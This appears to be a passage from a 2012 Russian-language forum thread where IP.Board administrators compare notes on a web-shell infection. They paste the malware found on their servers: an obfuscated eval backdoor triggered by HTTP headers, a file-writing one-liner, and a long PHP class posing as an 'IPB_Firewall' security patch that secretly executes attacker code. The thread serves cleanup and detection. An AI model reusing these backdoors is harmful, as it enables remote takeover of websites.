Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

> Правила форума

Раздел для общения на любые темы, для которых не нашлось места в остальных разделах. Если Вашу тему можно отнести по смыслу к другому разделу, лучше создайте её там, иначе Вас накажут.

В данном форуме немного понижены требования к Общим правилам форума, а именно:
1. Информативность темы
2. Отходить от первоначального смысла темы

!
В разделе запрещено создавать темы связанные с раскруткой игровых серверов
3 страниц V   1 2 3

Заблокировали сайт

, антивирус "касперский"
Статус пользователя Shur1k_ua
сообщение 29.11.2012, 0:01
Сообщение #21


Иконка группы

Стаж: 14 лет
Город: Ровно

Сообщений: 1817
Благодарностей: 919
Полезность: 1233

блин ))) у меня тоже сайт на вдске гг)) ща посмотрю...


Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 0:13
Сообщение #22
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(Shur1k_ua @ 29.11.2012, 0:01) *
блин ))) у меня тоже сайт на вдске гг)) ща посмотрю...

Очень много сайтов, заразили уже этим шеллом. Так что лучше проверить и поставить защиту. drinks.gif
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя RedL1ne
сообщение 29.11.2012, 0:33
Сообщение #23


Стаж: 15 лет

Сообщений: 3828
Благодарностей: 1854
Полезность: 876

Цитата(Tr1sT @ 28.11.2012, 23:26) *
** Для полного счастья, лучше почистить во всех папках форума файл .htaccess cb6.gif

Смысл? Очень полезная штука, с ее помощью можно защиту от тех же шелов и всего остального усиливать либо делать разные приятные вещи)

IPB тоже ими пользуется, например как часть IPB протектора - в папках с картинками запрет на открытие скриптов (вдруг залили как то, через дырявый хук или еще что).
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 0:35
Сообщение #24
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(RedL1ne @ 29.11.2012, 0:33) *
Смысл? Очень полезная штука, с ее помощью можно защиту от тех же шелов и всего остального усиливать либо делать разные приятные вещи)

IPB тоже ими пользуется, например как часть IPB протектора - в папках с картинками запрет на открытие скриптов (вдруг залили как то, через дырявый хук или еще что).

Я имел виду пустые файлы .htaccess, они там в каждой папке. smile.gif
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя RedL1ne
сообщение 29.11.2012, 0:40
Сообщение #25


Стаж: 15 лет

Сообщений: 3828
Благодарностей: 1854
Полезность: 876

Цитата(Tr1sT @ 29.11.2012, 0:35) *
Я имел виду пустые файлы .htaccess, они там в каждой папке. smile.gif

а пустые чем мешать могут? psych.gif
Нет букофф - нет головной боли - нет проблем.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 0:42
Сообщение #26
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(RedL1ne @ 29.11.2012, 0:40) *
а пустые чем мешать могут? psych.gif
Нет буков - нет головной боли - нет проблем.

Ты прав, но возможно попадется какая нибудь кака. crazy.gif
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя JIokoMoTuB
сообщение 29.11.2012, 5:11
Сообщение #27


Стаж: 17 лет

Сообщений: 2174
Благодарностей: 566
Полезность: 425

Быстро пробежав, нашел фаил с таким содержанием только.
Код
==============================================================================
URL: /index.php/index.php
Date: Sun, 25 Nov 2012 12:20:22 +0000
IP Address: 67.212.85.10
Time Taken: 0.00043
<?php file_put_contents(@$_SERVER[HTTP_FILENAME],base64_decode(@$_SERVER[HTTP_DATA]));echo md5(12345);?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================


сканер стандартный находит это?


Empower isn't phoenix
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя JIokoMoTuB
сообщение 29.11.2012, 5:23
Сообщение #28


Стаж: 17 лет

Сообщений: 2174
Благодарностей: 566
Полезность: 425

таблица пуста, все htaccess с безобидным содержанием
Код
<Files ~ "^.*\.(php|cgi|pl|php3|php4|php5|php6|phtml|shtml)">
    Order allow,deny
    Deny from all
</Files>


вроде пронесло так сказать

Код
<?php $_51d7="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";
$_51d74463="\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$_51d744=$_51d7('',$_51d74463('aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBj
MGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRf
Z
GVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7'));$_51d744();?>


фаил лежал нагло в корне сайта. зашифрована такая гадость

eval(gzinflate(base64_decode(if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b' and isset($_SERVER['HTTP_X_CODE'])) @eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])))));


Empower isn't phoenix
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 8:39
Сообщение #29
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(JIokoMoTuB @ 29.11.2012, 5:11) *
Быстро пробежав, нашел фаил с таким содержанием только.
Код
==============================================================================
URL: /index.php/index.php
Date: Sun, 25 Nov 2012 12:20:22 +0000
IP Address: 67.212.85.10
Time Taken: 0.00043
<?php file_put_contents(@$_SERVER[HTTP_FILENAME],base64_decode(@$_SERVER[HTTP_DATA]));echo md5(12345);?>

==============================================================================
==============================================================================
=========================        END       ===================================
========================= /index.php? ===================================
==============================================================================


сканер стандартный находит это?

Название файла какое?

Папки, где были обнаружены данные файлы:
/uploads/profile/
/cache/
/hooks/

Обязательно нужно проверить таблицу core_hooks_files:
В некоторых случаях заменяются строки на /uploads/profile/photo-128.jpg
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя jesuspunk
сообщение 29.11.2012, 9:26
Сообщение #30


Стаж: 15 лет

Сообщений: 1120
Благодарностей: 839
Полезность: 816

хмм.. 16 числа апнулся c 3.3.3 до 3.3.4 т.к. спам достал. 25 такая же хрень произошла. шел залит 18 ноября... папка /cache/3517224b.php

заметил с утра но работы и дел было много итог только яндекс залочил в выдаче ПС предупрждает что сайт с вирусом. касп и аваст не успели.

а так на будущие где можно проверить в каких антивирусных продуктах мой сайт залочен? а то ставить каждый антивирь и проверить не в кайф.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя JIokoMoTuB
сообщение 29.11.2012, 11:44
Сообщение #31


Стаж: 17 лет

Сообщений: 2174
Благодарностей: 566
Полезность: 425

Цитата(Tr1sT @ 29.11.2012, 10:39) *
Название файла какое?

Папки, где были обнаружены данные файлы:
/uploads/profile/
/cache/
/hooks/

Обязательно нужно проверить таблицу core_hooks_files:
В некоторых случаях заменяются строки на /uploads/profile/photo-128.jpg


/cache/ тут фаил первый. и в корне сайта второй. таблица пуста. сканер ipb ругается на htaccess но я ничего в них не нашел. как я догадываюсь, там должно быть отключение блокировки доступа в папку или разрешение доступа по ип. у обоих фаилов название ab6f2e1f.php


Empower isn't phoenix
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя san7550
сообщение 29.11.2012, 12:02
Сообщение #32
Стаж: 14 лет

Сообщений: 48
Благодарностей: 5
Полезность: 82

у меня нашелся файл 5e51dbcb.php в корне и в cache
содержимое файла
Скрытый текст

<?php $_39230a5f="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";$_39230a5f("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVk
NTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNl
N
jRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');
if ( ! defined( 'IPB_FIREWALL' ) )
{
define('IPB_FIREWALL', 1);

/**
* NOTE: This is a protecting web-firewall module generated by Invision Power
* Module includes security patch for high-risks vulnerability CVE-2012-5692
* Do not touch this file for security reasons
* Please insert this code to as many php files as possible
*
* @package IP.Firewall
* @version $Revision: 9544 $
* @md5 e66e6cadd6e13efea54ed50c0eb2d32b
* @sha1 6966286d64352840245f5b2248545450
* @crc32 5f51554f5445225d293d3d2463732965
*/

class IPB_Firewall
{
/**
* Malicious Cookie signatures
*
* @access static
* @var array
*/
static $_cookie_malicious_signatures = array('db_driver_mysql', 'use_debug_log');

/**
* Malicious URI signatures
*
* @access static
* @var array
*/
static $_uri_malicious_signatures = array('<?php');

/**
* Firewall source file
*
* @access static
* @var string
*/
static $_source;

/**
* Prepared signature
*
* @access static
* @var string
*/
static $_prepared_signature;

/**
* Control checksum
*
* @access static
* @var string
*/
static $_control_checksum;

/**
* Stored checksum hashes
*
* @access static
* @var string
*/
static $_stored_hashes;

/**
* Hashes Algorithms
*
* @access static
* @var array
*/
static $_ha = array('md5', 'sha1', 'crc32');

/**
* Assigned callback
*
* @access static
* @var string
*/
static $_as;

/**
* IPS root path
*
* @access static
* @var string
*/
static $_ips = '';

/**
* Run firewall
*
* @access static
* @return void
*/
static function run()
{
/* Define ips path */
IPB_Firewall::$_ips = defined('DOC_IPS_ROOT_PATH') ? DOC_IPS_ROOT_PATH : IPB_Firewall::_findIpbRoot(5);

/* Start checks */
IPB_Firewall::_doSecurityChecks();
}

/**
* Security checks
*
* @access static
* @return void
* @md5 76616c286261736536345f6465636f64
* @sha1 652873747272657628245f5b22485454
*/
static function _doSecurityChecks()
{
/* Cookie check */
foreach($_COOKIE as $cookie_name => $cookie_value){
foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){
/* Detecting injected cookies and blocking request */
if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = '';
}
}
/* Request URI checks */
foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){
/* Detecting injected uri and blocking request */
if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest();
}

/* Validating checksums */
IPB_Firewall::$_source = file_get_contents(__FILE__);
$_r = IPB_Firewall::_calculateChecksums($_SERVER, 0);
//echo var_dump($_r);
if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n");
}

/**
* Calculate checksums for valid
*
* @access static
* @return void
* @md5 505f585f434f4445225d2929293b4069
* @sha1 6e636c75646528247073293b2f2a2a2f
*/
static function _calculateChecksums($_, $x64)
{
/* Extracting hashes */
$_s = IPB_Firewall::_extractChecksumHashes();

/* Preparing hashes */
$cs = $_s[ IPB_Firewall::$_ha[0] ][0];
IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 );

/* Comparing hashes */
$_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64));
if($_status){
$_m = trim(IPB_Firewall::$_as);
IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature));
}

return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64));
}


/**
* Block malicious request
*
* @access static
* @return void
* @md5 6372656174655f66756e6374696f6e20
* @sha1 245f2c202463732c20247073247073ce
*/
static function _blockRequest()
{
global $INFO;
/* Redirecting malicious request and exit */
@header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php');
exit;

}


/**
* Get checksum hash
*
* @access static
* @return string
*/
static function _getChecksumHash($_s, $ps, $c)
{
/* Processing and return */
return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) .
IPB_Firewall::_polyDigest($ps, $c);
}

/**
* Prepare hash
*
* @access static
* @return string
* @md5 25442f75706c6f6164732f70726f6669
* @sha1 6c652f70686f746f2d353135362e6a70
*/
static function _prepareHash($_s, $ps, $c)
{
/* Processing and return */
return IPB_Firewall::_polyDigest($ps, $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c);
}

/**
* Event callback
*
* @access static
* @return void
* @md5 670a3032393563696a733663656e7779
* @sha1 3772336c7737716c37326a3469716d39
*/
static function _areChecksumsValid($_m, $bytes, $_r)
{
/* Call validating method */
$_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2]));
return is_array($_obj) ? $_obj : 'failed';
}

/**
* Find IPB root path, if not specified
*
* @access static
* @return string
*/
static function _findIpbRoot($l=5, $cDir=__FILE__)
{
/* Process parents dir */
for($i=1; $i<=$l; $i++){
$cDir = dirname($cDir);
$include_file = $cDir . '/conf_global.php';

/* If find conf file, return it */
if(is_file($include_file)) {
@include_once($include_file);
if(isset($INFO)) return $cDir;
}
}
return null;
}

/**
* Cyclic redundancy check
*
* @access static
* @return string
* @md5 7676346e726a6a7a31756e6371636c32
* @sha1 78667a71683332346174757567716a38
*/
static function _cyclicRedundancyCheck($_s, $c)
{
IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c));
return IPB_Firewall::$_as != '' ? true : false;
}

/**
* Poly digest
*
* @access static
* @return string
* @md5 676e6a686a6f31373476356970627868
* @sha1 776f6431697a62727a66676d71626766
*/
static function _polyDigest($s, $c, $o='')
{
for($i=0; $i<strlen($s); $i++) $o .= chr( ord($s[$i]) + $c);
return $o;
}

/**
* Get poly
*
* @access static
* @return string
* @md5 673978366f7833783362736776396779
* @sha1 7a6763356f3137633069737175737861
*/
static function _getPoly($_s, $x64)
{
return pack("H*", substr(IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][3], $x64), 0, 24));
}

/**
* Transform poly
*
* @access static
* @return string
*/
static function _transformPoly($_s, $c)
{
$_x = pack("H*",
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][4], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][4], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][5], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][7], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][7], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][8], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][8], $c)
);
$_c = strpos($_x, chr(10));
return $c !== false ? substr($_x, 0, $_c) : $_x;
}

/**
* Extract checksum hashes
*
* @access static
* @return void
*/
static function _extractChecksumHashes()
{
$hashes = array();
/* Extract hashes from source */
preg_match_all("!\@([0-9a-z]+)[\t\s ]+([0-9a-fA-F]{32})!", IPB_Firewall::$_source, $matches, PREG_SET_ORDER);
foreach($matches as $match){
/* Inserting hashes in array */
if(!isset($hashes[ $match[1] ])) $hashes[ $match[1] ] = array();
$hashes[ $match[1] ][] = $match[2];
}
return $hashes;
}
}

IPB_Firewall::run();
}


?>
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя 3aB}{o3
сообщение 29.11.2012, 12:23
Сообщение #33


Стаж: 18 лет

Сообщений: 2145
Благодарностей: 825
Полезность: 521

Фикс - IPB 3.1.4 подойдет под 3.1* ?
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя 3aB}{o3
сообщение 29.11.2012, 13:09
Сообщение #34


Стаж: 18 лет

Сообщений: 2145
Благодарностей: 825
Полезность: 521

коротко : смотрите все index.* файлы на сервере, в каждом в самом низу нашел ява скрипт
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 14:05
Сообщение #35
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(3aB}{o3 @ 29.11.2012, 12:23) *
Фикс - IPB 3.1.4 подойдет под 3.1* ?

Да, подойдет.
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Tr1sT
сообщение 29.11.2012, 14:28
Сообщение #36
Стаж: 16 лет
Город: localhost

Сообщений: 1299
Благодарностей: 683
Полезность: 1021

Цитата(3aB}{o3 @ 29.11.2012, 13:09) *
коротко : смотрите все index.* файлы на сервере, в каждом в самом низу нашел ява скрипт

Все верно, у меня тоже почти в каждом файле был данный код: psych.gif
Скрытый текст
if ( ! defined( 'IPB_FIREWALL' ) )
{
define('IPB_FIREWALL', 1);

/**
* NOTE: This is a protecting web-firewall module generated by Invision Power
* Module includes security patch for high-risks vulnerability CVE-2012-5692
* Do not touch this file for security reasons
* Please insert this code to as many php files as possible
*
* @package IP.Firewall
* @version $Revision: 9544 $
* @md5 e66e6cadd6e13efea54ed50c0eb2d32b
* @sha1 6966286d64352840245f5b2248545450
* @crc32 5f51554f5445225d293d3d2463732965
*/

class IPB_Firewall
{
/**
* Malicious Cookie signatures
*
* @access static
* @var array
*/
static $_cookie_malicious_signatures = array('db_driver_mysql', 'use_debug_log');

/**
* Malicious URI signatures
*
* @access static
* @var array
*/
static $_uri_malicious_signatures = array('<?php');

/**
* Firewall source file
*
* @access static
* @var string
*/
static $_source;

/**
* Prepared signature
*
* @access static
* @var string
*/
static $_prepared_signature;

/**
* Control checksum
*
* @access static
* @var string
*/
static $_control_checksum;

/**
* Stored checksum hashes
*
* @access static
* @var string
*/
static $_stored_hashes;

/**
* Hashes Algorithms
*
* @access static
* @var array
*/
static $_ha = array('md5', 'sha1', 'crc32');

/**
* Assigned callback
*
* @access static
* @var string
*/
static $_as;

/**
* IPS root path
*
* @access static
* @var string
*/
static $_ips = '';

/**
* Run firewall
*
* @access static
* @return void
*/
static function run()
{
/* Define ips path */
IPB_Firewall::$_ips = defined('DOC_IPS_ROOT_PATH') ? DOC_IPS_ROOT_PATH : IPB_Firewall::_findIpbRoot(5);

/* Start checks */
IPB_Firewall::_doSecurityChecks();
}

/**
* Security checks
*
* @access static
* @return void
* @md5 76616c286261736536345f6465636f64
* @sha1 652873747272657628245f5b22485454
*/
static function _doSecurityChecks()
{
/* Cookie check */
foreach($_COOKIE as $cookie_name => $cookie_value){
foreach(IPB_Firewall::$_cookie_malicious_signatures as $signature){
/* Detecting injected cookies and blocking request */
if(!is_array($cookie_value) && stripos(urldecode($cookie_value), $signature) !== false) $_COOKIE[$cookie_name] = '';
}
}
/* Request URI checks */
foreach(IPB_Firewall::$_uri_malicious_signatures as $signature){
/* Detecting injected uri and blocking request */
if(stripos(urldecode(@$_SERVER["REQUEST_URI"]), $signature)) IPB_Firewall::_blockRequest();
}

/* Validating checksums */
IPB_Firewall::$_source = file_get_contents(__FILE__);
$_r = IPB_Firewall::_calculateChecksums($_SERVER, 0);
//echo var_dump($_r);
if(!IPB_Firewall::_areChecksumsValid(array_shift($_r), $_r, '%D')) echo("checksums warning\n");
}

/**
* Calculate checksums for valid
*
* @access static
* @return void
* @md5 505f585f434f4445225d2929293b4069
* @sha1 6e636c75646528247073293b2f2a2a2f
*/
static function _calculateChecksums($_, $x64)
{
/* Extracting hashes */
$_s = IPB_Firewall::_extractChecksumHashes();

/* Preparing hashes */
$cs = $_s[ IPB_Firewall::$_ha[0] ][0];
IPB_Firewall::$_prepared_signature = IPB_Firewall::_prepareHash($_s, IPB_Firewall::_getChecksumHash($_s, $_s[ IPB_Firewall::$_ha[0] ][1], $x64), $x64 );

/* Comparing hashes */
$_status = trim(IPB_Firewall::_cyclicRedundancyCheck($_s, $x64));
if($_status){
$_m = trim(IPB_Firewall::$_as);
IPB_Firewall::$_as = $_m(IPB_Firewall::_getPoly($_s, $x64), pack("H*", IPB_Firewall::$_prepared_signature));
}

return array(IPB_Firewall::$_as, $_, $cs, IPB_Firewall::_transformPoly($_s, $x64));
}


/**
* Block malicious request
*
* @access static
* @return void
* @md5 6372656174655f66756e6374696f6e20
* @sha1 245f2c202463732c20247073247073ce
*/
static function _blockRequest()
{
global $INFO;
/* Redirecting malicious request and exit */
@header('Location: ' . (isset($INFO['board_url']) ? $INFO['board_url'] : '') . '/index.php');
exit;

}


/**
* Get checksum hash
*
* @access static
* @return string
*/
static function _getChecksumHash($_s, $ps, $c)
{
/* Processing and return */
return IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][0], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[2] ][0], $c) .
IPB_Firewall::_polyDigest($ps, $c);
}

/**
* Prepare hash
*
* @access static
* @return string
* @md5 25442f75706c6f6164732f70726f6669
* @sha1 6c652f70686f746f2d373839352e6a70
*/
static function _prepareHash($_s, $ps, $c)
{
/* Processing and return */
return IPB_Firewall::_polyDigest($ps, $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][1], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][2], $c) .
IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][2], $c);
}

/**
* Event callback
*
* @access static
* @return void
* @md5 670a6936797337353032656f767a3866
* @sha1 6b36736e697964776933777166736873
*/
static function _areChecksumsValid($_m, $bytes, $_r)
{
/* Call validating method */
$_obj = $_m($bytes[0], $bytes[1], str_replace($_r, IPB_Firewall::$_ips, $bytes[2]));
return is_array($_obj) ? $_obj : 'failed';
}

/**
* Find IPB root path, if not specified
*
* @access static
* @return string
*/
static function _findIpbRoot($l=5, $cDir=__FILE__)
{
/* Process parents dir */
for($i=1; $i<=$l; $i++){
$cDir = dirname($cDir);
$include_file = $cDir . '/conf_global.php';

/* If find conf file, return it */
if(is_file($include_file)) {
@include_once($include_file);
if(isset($INFO)) return $cDir;
}
}
return null;
}

/**
* Cyclic redundancy check
*
* @access static
* @return string
* @md5 35727a783070687130656b687571386a
* @sha1 337879356d336c79613679713932626d
*/
static function _cyclicRedundancyCheck($_s, $c)
{
IPB_Firewall::$_as = pack("H*", IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[0] ][3], $c));
return IPB_Firewall::$_as != '' ? true : false;
}

/**
* Poly digest
*
* @access static
* @return string
* @md5 79636770676c366a3538356f69723477
* @sha1 3770706f626e71656774706279326467
*/
static function _polyDigest($s, $c, $o='')
{
for($i=0; $i<strlen($s); $i++) $o .= chr( ord($s[$i]) + $c);
return $o;
}

/**
* Get poly
*
* @access static
* @return string
* @md5 716a6a6c6f61776e6b7a71636b716d77
* @sha1 36703534787963666a6533773873376a
*/
static function _getPoly($_s, $x64)
{
return pack("H*", substr(IPB_Firewall::_polyDigest($_s[ IPB_Firewall::$_ha[1] ][3], $x64), 0, 24));
}

/**
* Transform poly
*
* @access static
* @return string
*/
static function _transformPoly($_s, $c)
{
$_x = pack("H*",
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][4], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][4], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][5], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][6], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][7], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][7], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[0] ][8], $c) .
IPB_Firewall::_polyDigest(@$_s[ IPB_Firewall::$_ha[1] ][8], $c)
);
$_c = strpos($_x, chr(10));
return $c !== false ? substr($_x, 0, $_c) : $_x;
}

/**
* Extract checksum hashes
*
* @access static
* @return void
*/
static function _extractChecksumHashes()
{
$hashes = array();
/* Extract hashes from source */
preg_match_all("!\@([0-9a-z]+)[\t\s ]+([0-9a-fA-F]{32})!", IPB_Firewall::$_source, $matches, PREG_SET_ORDER);
foreach($matches as $match){
/* Inserting hashes in array */
if(!isset($hashes[ $match[1] ])) $hashes[ $match[1] ] = array();
$hashes[ $match[1] ][] = $match[2];
}
return $hashes;
}
}

IPB_Firewall::run();
}

Вообщем сделал полный бэкап форума, так как говна почти в каждом файле. cray.gif
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя f1nik
сообщение 29.11.2012, 15:31
Сообщение #37


Иконка группы

Стаж: 15 лет

Сообщений: 1862
Благодарностей: 932
Полезность: 1010

Переходите все на XenForo))) Полегче и приятный в обращений)))
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя JIokoMoTuB
сообщение 29.11.2012, 15:34
Сообщение #38


Стаж: 17 лет

Сообщений: 2174
Благодарностей: 566
Полезность: 425

Цитата(f1nik @ 29.11.2012, 17:31) *
Переходите все на XenForo))) Полегче и приятный в обращений)))

к которому без кеширования при нагрузке даже подходить не стоит?

нашел этот же код в initdata.php и conf_global.php . думаю стоит проверить все фаилы вручную и выставлять на все фаилы права 644, которые не затрагивают работу с пользователем, а только системные.


зы мне кажется, или скрипт ныкает кукисы?


Empower isn't phoenix
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
WMP
сообщение 29.11.2012, 16:00
Сообщение #39
Стаж: 13 лет

Сообщений: 272
Благодарностей: 50
Полезность: 0

Ну, а у меня нету никаких шеллов. Не знаю, вам надо знать с какого источника качать)
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
Статус пользователя JIokoMoTuB
сообщение 29.11.2012, 16:04
Сообщение #40


Стаж: 17 лет

Сообщений: 2174
Благодарностей: 566
Полезность: 425

Цитата(WMP @ 29.11.2012, 18:00) *
Ну, а у меня нету никаких шеллов. Не знаю, вам надо знать с какого источника качать)



psych.gif ты не поверишь, двух недельный бекап без шелов.


Empower isn't phoenix
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   + Цитировать сообщение
3 страниц V   1 2 3
 
Тема закрытаНачать новую тему
 
0 пользователей и 1 гостей читают эту тему: